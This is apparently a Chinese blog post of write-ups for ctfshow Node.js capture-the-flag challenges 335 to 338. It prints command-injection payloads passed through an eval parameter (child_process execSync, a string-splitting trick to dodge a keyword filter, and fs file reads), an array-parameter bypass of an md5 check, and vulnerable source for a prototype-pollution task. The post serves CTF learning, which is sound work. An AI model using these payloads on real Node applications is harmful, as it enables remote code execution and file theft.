ctfshow-nodejs

335

一道rce题目
require(‘child_process’).execSync(‘ls’);

336

发现被过滤了东西,
?eval=__filename:打印出当下文件路径。
?eval=__dirname:打印出当下所在文件夹路径。
1
然后读取文件?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
2
被过滤了,绕过过滤。
?eval=require('child_process')['exe'+'cSync']('ls');再进行url编码一下。
3命令执行即可得到flag。
4

读取文件得到flag也行。

337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

简单的数组绕过?a[]=1&b[]=1即可得到flag。
3

338

下载给的源码,找到login.js文件。

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);//***关键点
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

原型链污染学习文章
5

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信